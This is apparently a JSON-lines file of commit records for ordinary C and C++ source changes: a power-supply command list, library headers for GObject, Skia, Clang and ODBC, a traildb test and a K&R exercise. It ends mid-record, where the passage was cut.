{"commit":"c67d79bb09a7ae4a4704668a5d897ef6c160bf8a","old_file":"PS_SDP-2xxx\/sdp2xxx.h","new_file":"PS_SDP-2xxx\/sdp2xxx.h","old_contents":"","new_contents":"#ifndef __SDP2XXX_H___\n#define __SDP2XXX_H___\n\n\"SESS__\\r\"\n\"ENDS__\\r\"\n\"CCOM__??\\r\"\n\"GCOM__\\r\"\n\"GMAX__\\r\"\n\"GOVP__\\r\"\n\"GETD__\\r\"\n\"GETS__\\r\"\n\"GETM__\\r\"\n\"GETM__?\\r\"\n\"GETP__\\r\"\n\"GETP__?\\r\"\n\"GPAL__\\r\"\n\"VOLT__?\\r\"\n\"CURR__?\\r\"\n\"SOVP__?\\r\"\n\"SOUT__1\\r\"\n\"SOUT__0\\r\"\n\"POWW__?\\r\"\n\"POWW__?\\r\"\n\"PROM__?\\r\"\n\"PROP__?\\r\"\n\"RUNM__?\\r\"\n\"RUNP__?\\r\"\n\"STOP__\\r\"\n\n#endif\n","subject":"Add list of functions for SDP power supply","message":"Add list of functions for SDP power supply\n\nSigned-off-by: Jiri Pinkava <ceb72a6f0e3f077f8f7e99199f4b556b3392348f@vscht.cz>\n","lang":"C","license":"apache-2.0","repos":"pinkavaj\/msdptool"}
{"commit":"a8069e5ae37a255c1f9a97918343728eb0344184","old_file":"src\/arch\/relic_arch_avr.c","new_file":"src\/arch\/relic_arch_avr.c","old_contents":"","new_contents":"\/*\n * RELIC is an Efficient LIbrary for Cryptography\n * Copyright (C) 2007-2011 RELIC Authors\n *\n * This file is part of RELIC. RELIC is legal property of its developers,\n * whose names are not listed here. Please refer to the COPYRIGHT file\n * for contact information.\n *\n * RELIC is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * RELIC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with RELIC. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @file\n *\n * Implementation of AVR-dependent routines.\n *\n * @version $Id$\n * @ingroup arch\n *\/\n\n\/*============================================================================*\/\n\/* Public definitions                                                         *\/\n\/*============================================================================*\/\n\nvoid arch_init(void) {\n}\n\nvoid arch_clean(void) {\n}\n","subject":"Add missing file for ARCH = AVR.","message":"Add missing file for ARCH = AVR.","lang":"C","license":"lgpl-2.1","repos":"rajeevakarv\/relic-toolkit,rajeevakarv\/relic-toolkit,tectronics\/relic-toolkit,rajeevakarv\/relic-toolkit,tectronics\/relic-toolkit,tectronics\/relic-toolkit"}
{"commit":"69379edfcf5414e6df4f9c12c06504ec2a151cab","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <cstdint>\n#include <functional>\n#include <unordered_map>\n\n#include \"pugixml.hpp\"\n\nnamespace You {\nnamespace DataStore {\n\nclass DataStore {\npublic:\n\t\/\/\/ Test classes\n\tfriend class DataStoreAPITest;\n\n\t\/\/\/ typedefs\n\t\/\/\/ typedef for Serialized Task\n\ttypedef std::unordered_map<std::wstring, std::wstring> STask;\n\t\/\/\/ typedef for Task ID\n\ttypedef int64_t TaskId;\n\n\tDataStore() = default;\n\t~DataStore() = default;\n\n\t\/\/\/ Insert a task into the datastore\n\tvoid post(STask);\n\n\t\/\/\/ Update the content of a task\n\tvoid put(TaskId, STask);\n\n\t\/\/\/ Get a task\n\tSTask get(TaskId);\n\n\t\/\/\/ Delete a task\n\tvoid erase(TaskId);\n\n\t\/\/\/ Commits the changes\n\tvoid commit();\n\n\t\/\/\/ Roll back to the last commited changes\n\tvoid rollback();\n\n\t\/\/\/ Get a list of tasks that passes the filter\n\tstd::vector<STask> filter(const std::function<bool(STask)>&);\n\nprivate:\n\tstatic const std::wstring FILE_PATH;\n\tpugi::xml_document document;\n\n\t\/\/\/ Saves the xml object to a file\n\t\/\/\/ Returns true if operation successful and false otherwise\n\tbool saveData();\n\t\/\/\/ Loads the xml file into the xml object\n\tvoid loadData();\n};\n\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <cstdint>\n#include <functional>\n#include <unordered_map>\n\n#include \"pugixml.hpp\"\n\nnamespace You {\nnamespace DataStore {\n\nclass DataStore {\npublic:\n\t\/\/\/ Test classes\n\tfriend class DataStoreAPITest;\n\n\t\/\/\/ typedefs\n\t\/\/\/ typedef for Serialized Task\n\ttypedef std::unordered_map<std::wstring, std::wstring> STask;\n\t\/\/\/ typedef for Task ID\n\ttypedef int64_t TaskId;\n\n\tDataStore() = default;\n\t~DataStore() = default;\n\n\t\/\/\/ Insert a task into the datastore\n\tvoid post(STask);\n\n\t\/\/\/ Update the content of a task\n\tvoid put(TaskId, STask);\n\n\t\/\/\/ Get a task\n\tSTask get(TaskId);\n\n\t\/\/\/ Delete a task\n\tvoid erase(TaskId);\n\n\t\/\/\/ Get a list of tasks that passes the filter\n\tstd::vector<STask> filter(const std::function<bool(STask)>&);\n\nprivate:\n\tstatic const std::wstring FILE_PATH;\n\tpugi::xml_document document;\n\n\t\/\/\/ Saves the xml object to a file\n\t\/\/\/ Returns true if operation successful and false otherwise\n\tbool saveData();\n\t\/\/\/ Loads the xml file into the xml object\n\tvoid loadData();\n};\n\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Remove commit and rollback method","message":"Remove commit and rollback method\n\nTo be implemented on Transaction class\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"3bb2e8dfc9eae7c6abd8fbec5fa751ffcb495121","old_file":"gobject\/gobject-autocleanups.h","new_file":"gobject\/gobject-autocleanups.h","old_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","new_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_clear)\n","subject":"Use g_value_clear as clear function","message":"gvalue: Use g_value_clear as clear function\n\nThis change allow leaving a scope before g_value_init() has been\ncalled. This would happen if you do:\n\n  {\n    g_auto(GValue) value = G_VALUE_INIT;\n  }\n\nOr have a return statement (due to failure) before the part of\nyour code where you set this GValue.\n\nhttps:\/\/bugzilla.gnome.org\/show_bug.cgi?id=755766\n","lang":"C","license":"lgpl-2.1","repos":"johne53\/MB3Glib,cention-sany\/glib,Distrotech\/glib,ieei\/glib,tchakabam\/glib,ieei\/glib,endlessm\/glib,cention-sany\/glib,Distrotech\/glib,tchakabam\/glib,tchakabam\/glib,johne53\/MB3Glib,endlessm\/glib,MathieuDuponchelle\/glib,Distrotech\/glib,johne53\/MB3Glib,johne53\/MB3Glib,mzabaluev\/glib,ieei\/glib,mzabaluev\/glib,MathieuDuponchelle\/glib,MathieuDuponchelle\/glib,ieei\/glib,mzabaluev\/glib,tchakabam\/glib,cention-sany\/glib,tchakabam\/glib,MathieuDuponchelle\/glib,endlessm\/glib,cention-sany\/glib,Distrotech\/glib,MathieuDuponchelle\/glib,mzabaluev\/glib,mzabaluev\/glib,Distrotech\/glib,ieei\/glib,endlessm\/glib,cention-sany\/glib,johne53\/MB3Glib,johne53\/MB3Glib,endlessm\/glib"}
{"commit":"f0ed7363a4aa6acf747a4c49366003b98483795e","old_file":"models\/generic\/Generic_RackPinion.h","new_file":"models\/generic\/Generic_RackPinion.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Generic rack-pinion steering model.\n\/\/\n\/\/ =============================================================================\n\n#ifndef GENERIC_RACKPINION_H\n#define GENERIC_RACKPINION_H\n\n#include \"subsys\/steering\/ChRackPinion.h\"\n\nclass Generic_RackPinion : public chrono::ChRackPinion\n{\npublic:\n\n  Generic_RackPinion(const std::string& name) : ChRackPinion(name) {}\n  ~Generic_RackPinion() {}\n\n  virtual double GetSteeringLinkMass() const                       { return 9.0; }\n  virtual const chrono::ChVector<>& GetSteeringLinkInertia() const { return chrono::ChVector<>(1, 1, 1); }\n  virtual double GetSteeringLinkCOM() const                        { return 0.0; }\n  virtual double GetSteeringLinkRadius() const                     { return 0.03; }\n  virtual double GetSteeringLinkLength() const                     { return 0.896; }\n\n  virtual double GetPinionRadius() const                           { return 0.1; }\n\n  virtual double GetMaxAngle() const                               { return 0.87; }\n};\n\n\n#endif\n","subject":"Add a generic rack-pinion steering subsystem.","message":"Add a generic rack-pinion steering subsystem.\n","lang":"C","license":"bsd-3-clause","repos":"hsu\/chrono-vehicle,hsu\/chrono-vehicle,hsu\/chrono-vehicle"}
{"commit":"7355748b062d547e074c192f1eb56f10e0c5eeee","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_LEGACY_MATRIX_IMAGEFILTER\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flag to stage api change am: f83df73740","message":"Add flag to stage api change am: f83df73740\n\nOriginal change: https:\/\/googleplex-android-review.googlesource.com\/c\/platform\/external\/skia\/+\/13451544\n\nMUST ONLY BE SUBMITTED BY AUTOMERGER\n\nChange-Id: Ied4b884f3b02f3a7777a6464a996414d3cfdb3d6\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"c2bc5d0a6503f1890fb44f0978639288ec8a6f82","old_file":"testing\/c-tests\/cookie_raw_cookie_hex_should_be_identity.c","new_file":"testing\/c-tests\/cookie_raw_cookie_hex_should_be_identity.c","old_contents":"#include <traildb.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n    ((void) argc);\n    ((void) argv);\n\n    for ( int i1 = 0; i1 < 10000; ++i1 )\n    {\n        uint8_t hex_uuid[33];\n        uint8_t hex_uuid2[33];\n        uint8_t uuid[16];\n        uint8_t uuid2[16];\n\n        for ( int i2 = 0; i2 < 16; ++i2 ) {\n            uuid[i2] = random();\n        }\n        tdb_cookie_hex(uuid, hex_uuid);\n        tdb_cookie_raw(hex_uuid, uuid2);\n        assert(!memcmp(uuid, uuid2, 16));\n\n        for ( int i2 = 0; i2 < 32; ++i2 ) {\n            hex_uuid[i2] = random() % 16;\n            hex_uuid[i2] += '0';\n            if ( hex_uuid[i2] > '9' ) {\n                hex_uuid[i2] -= ('9'+1);\n                hex_uuid[i2] += 'a';\n            }\n        }\n        tdb_cookie_raw(hex_uuid, uuid);\n        tdb_cookie_hex(uuid, hex_uuid2);\n        assert(!memcmp(hex_uuid, hex_uuid2, 32));\n    }\n    return 0;\n}\n\n","new_contents":"#include <traildb.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n\nint main(int argc, char** argv)\n{\n    ((void) argc);\n    ((void) argv);\n\n    for ( int i1 = 0; i1 < 10000; ++i1 )\n    {\n        uint8_t hex_uuid[33];\n        uint8_t hex_uuid2[33];\n        uint8_t uuid[16];\n        uint8_t uuid2[16];\n\n        for ( int i2 = 0; i2 < 16; ++i2 ) {\n            uuid[i2] = rand();\n        }\n        tdb_cookie_hex(uuid, hex_uuid);\n        tdb_cookie_raw(hex_uuid, uuid2);\n        assert(!memcmp(uuid, uuid2, 16));\n\n        for ( int i2 = 0; i2 < 32; ++i2 ) {\n            hex_uuid[i2] = rand() % 16;\n            hex_uuid[i2] += '0';\n            if ( hex_uuid[i2] > '9' ) {\n                hex_uuid[i2] -= ('9'+1);\n                hex_uuid[i2] += 'a';\n            }\n        }\n        tdb_cookie_raw(hex_uuid, uuid);\n        tdb_cookie_hex(uuid, hex_uuid2);\n        assert(!memcmp(hex_uuid, hex_uuid2, 32));\n    }\n    return 0;\n}\n\n","subject":"Fix warnings in one of the tests.","message":"Fix warnings in one of the tests.\n\nrandom() is not as standard as I thought. Use rand() instead.\n","lang":"C","license":"mit","repos":"tuulos\/traildb,tuulos\/traildb,traildb\/traildb,traildb\/traildb,tuulos\/traildb,tuulos\/traildb,traildb\/traildb"}
{"commit":"e6145240a37ac745f5844963019cb108a747ff64","old_file":"ex01-17.c","new_file":"ex01-17.c","old_contents":"","new_contents":"\/** Exercise 1.17\n * Write a program to print all input lines that are longer than 80 characters.\n *\/\n#include <stdio.h>\n\n#define MINLINE 80\n\nmain() {\n    int i, buffer_printed;\n    char buffer[MINLINE + 1];\n    char c;\n\n    i = buffer_printed = 0;\n    buffer[MINLINE] = '\\0';\n\n    while ((c = getchar()) != EOF) {\n        if (!buffer_printed) {\n            buffer[i] = c;\n            ++i;\n            if (i > MINLINE) {\n                printf(\"%s\", buffer);\n                buffer_printed = 1;\n            }\n        } else {\n            putchar(c);\n        }\n        \n        if (c == '\\n') {\n            i = 0;\n            buffer_printed = 0;\n        }\n    }\n\n    return 0;\n}\n","subject":"Add solution for exercise 17.","message":"Add solution for exercise 17.\n","lang":"C","license":"unlicense","repos":"kdungs\/exercises-KnR"}
{"commit":"83122da713a81c8310bf97de8ff6320497d5f327","old_file":"lib\/CodeGen\/CGBuilder.h","new_file":"lib\/CodeGen\/CGBuilder.h","old_contents":"\/\/===-- CGBuilder.h - Choose IRBuilder implementation  ----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CLANG_CODEGEN_CGBUILDER_H\n#define CLANG_CODEGEN_CGBUILDER_H\n\n#include \"llvm\/Support\/IRBuilder.h\"\n\nnamespace clang {\nnamespace CodeGen {\n\n\/\/ Don't preserve names on values in an optimized build.\n#ifdef NDEBUG\ntypedef llvm::IRBuilder<false> CGBuilderTy;\n#else\ntypedef llvm::IRBuilder<> CGBuilderTy;\n#endif\n\n}  \/\/ end namespace CodeGen\n}  \/\/ end namespace clang\n\n#endif\n","new_contents":"\/\/===-- CGBuilder.h - Choose IRBuilder implementation  ----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef CLANG_CODEGEN_CGBUILDER_H\n#define CLANG_CODEGEN_CGBUILDER_H\n\n#include \"llvm\/IRBuilder.h\"\n\nnamespace clang {\nnamespace CodeGen {\n\n\/\/ Don't preserve names on values in an optimized build.\n#ifdef NDEBUG\ntypedef llvm::IRBuilder<false> CGBuilderTy;\n#else\ntypedef llvm::IRBuilder<> CGBuilderTy;\n#endif\n\n}  \/\/ end namespace CodeGen\n}  \/\/ end namespace clang\n\n#endif\n","subject":"Update Clang to reflect the new home of IRBuilder.h as of r159421.","message":"Update Clang to reflect the new home of IRBuilder.h as of r159421.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@159422 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"07de4cbbbb7c3f5ef9728342a35efc12f6d6080b","old_file":"src\/interfaces\/odbc\/md5.h","new_file":"src\/interfaces\/odbc\/md5.h","old_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* #if SIZEOF_UINT8 == 0  Can't get this from configure *\/\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n\/* #endif *\/\n\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","new_contents":"\/* File:\t\t\tconnection.h\n *\n * Description:\t\tSee \"md.h\"\n *\n * Comments:\t\tSee \"notice.txt\" for copyright and license information.\n *\n *\/\n\n#ifndef __MD5_H__\n#define __MD5_H__\n\n#include \"psqlodbc.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef\tWIN32\n#define\tMD5_ODBC\n#define\tFRONTEND\n#endif\n#define MD5_PASSWD_LEN\t35\n\n\/* From c.h *\/\n#ifndef __BEOS__\n\n#ifndef __cplusplus\n\n#ifndef bool\ntypedef char bool;\n#endif\n\n#ifndef true\n#define true\t((bool) 1)\n#endif\n\n#ifndef false\n#define false\t((bool) 0)\n#endif\n#endif   \/* not C++ *\/\n#endif   \/* __BEOS__ *\/\n\n\/* Also defined in include\/c.h *\/\n#if SIZEOF_UINT8 == 0\ntypedef unsigned char uint8;\t\/* == 8 bits *\/\ntypedef unsigned short uint16;\t\/* == 16 bits *\/\ntypedef unsigned int uint32;\t\/* == 32 bits *\/\n#endif   \/* SIZEOF_UINT8 == 0 *\/\n\nextern bool EncryptMD5(const char *passwd, const char *salt,\n\t\t   size_t salt_len, char *buf);\n\n\n#endif\n","subject":"Add configure result checks on odbc, per Peter E.","message":"Add configure result checks on odbc, per Peter E.\n","lang":"C","license":"apache-2.0","repos":"adam8157\/gpdb,randomtask1155\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,ovr\/postgres-xl,zeroae\/postgres-xl,yazun\/postgres-xl,ahachete\/gpdb,kmjungersen\/PostgresXL,snaga\/postgres-xl,rubikloud\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,jmcatamney\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,ahachete\/gpdb,techdragon\/Postgres-XL,lisakowen\/gpdb,ovr\/postgres-xl,foyzur\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,techdragon\/Postgres-XL,greenplum-db\/gpdb,foyzur\/gpdb,lintzc\/gpdb,xuegang\/gpdb,ovr\/postgres-xl,arcivanov\/postgres-xl,chrishajas\/gpdb,ahachete\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,arcivanov\/postgres-xl,kmjungersen\/PostgresXL,foyzur\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,tpostgres-projects\/tPostgres,postmind-net\/postgres-xl,xuegang\/gpdb,edespino\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,postmind-net\/postgres-xl,cjcjameson\/gpdb,zaksoup\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,50wu\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,rvs\/gpdb,tangp3\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,rvs\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,tpostgres-projects\/tPostgres,edespino\/gpdb,zeroae\/postgres-xl,yuanzhao\/gpdb,cjcjameson\/gpdb,pavanvd\/postgres-xl,jmcatamney\/gpdb,randomtask1155\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,rubikloud\/gpdb,cjcjameson\/gpdb,lisakowen\/gpdb,atris\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,ahachete\/gpdb,greenplum-db\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,edespino\/gpdb,tangp3\/gpdb,kmjungersen\/PostgresXL,lisakowen\/gpdb,lintzc\/gpdb,0x0FFF\/gpdb,yazun\/postgres-xl,50wu\/gpdb,randomtask1155\/gpdb,arcivanov\/postgres-xl,oberstet\/postgres-xl,tangp3\/gpdb,tangp3\/gpdb,xuegang\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,foyzur\/gpdb,foyzur\/gpdb,rubikloud\/gpdb,edespino\/gpdb,50wu\/gpdb,Postgres-XL\/Postgres-XL,0x0FFF\/gpdb,Chibin\/gpdb,kmjungersen\/PostgresXL,oberstet\/postgres-xl,greenplum-db\/gpdb,greenplum-db\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,snaga\/postgres-xl,rubikloud\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,50wu\/gpdb,pavanvd\/postgres-xl,chrishajas\/gpdb,cjcjameson\/gpdb,greenplum-db\/gpdb,arcivanov\/postgres-xl,janebeckman\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,royc1\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,atris\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,lpetrov-pivotal\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,ovr\/postgres-xl,techdragon\/Postgres-XL,edespino\/gpdb,Quikling\/gpdb,edespino\/gpdb,lisakowen\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,janebeckman\/gpdb,postmind-net\/postgres-xl,ovr\/postgres-xl,royc1\/gpdb,50wu\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,tpostgres-projects\/tPostgres,CraigHarris\/gpdb,adam8157\/gpdb,Chibin\/gpdb,royc1\/gpdb,tpostgres-projects\/tPostgres,adam8157\/gpdb,royc1\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,pavanvd\/postgres-xl,chrishajas\/gpdb,Chibin\/gpdb,Quikling\/gpdb,rvs\/gpdb,adam8157\/gpdb,oberstet\/postgres-xl,0x0FFF\/gpdb,50wu\/gpdb,0x0FFF\/gpdb,atris\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,lpetrov-pivotal\/gpdb,foyzur\/gpdb,atris\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,yazun\/postgres-xl,rvs\/gpdb,yazun\/postgres-xl,CraigHarris\/gpdb,CraigHarris\/gpdb,xinzweb\/gpdb,rvs\/gpdb,Quikling\/gpdb,tangp3\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,rubikloud\/gpdb,ahachete\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,lintzc\/gpdb,greenplum-db\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,lintzc\/gpdb,ahachete\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,yuanzhao\/gpdb,rubikloud\/gpdb,royc1\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,snaga\/postgres-xl,xuegang\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,y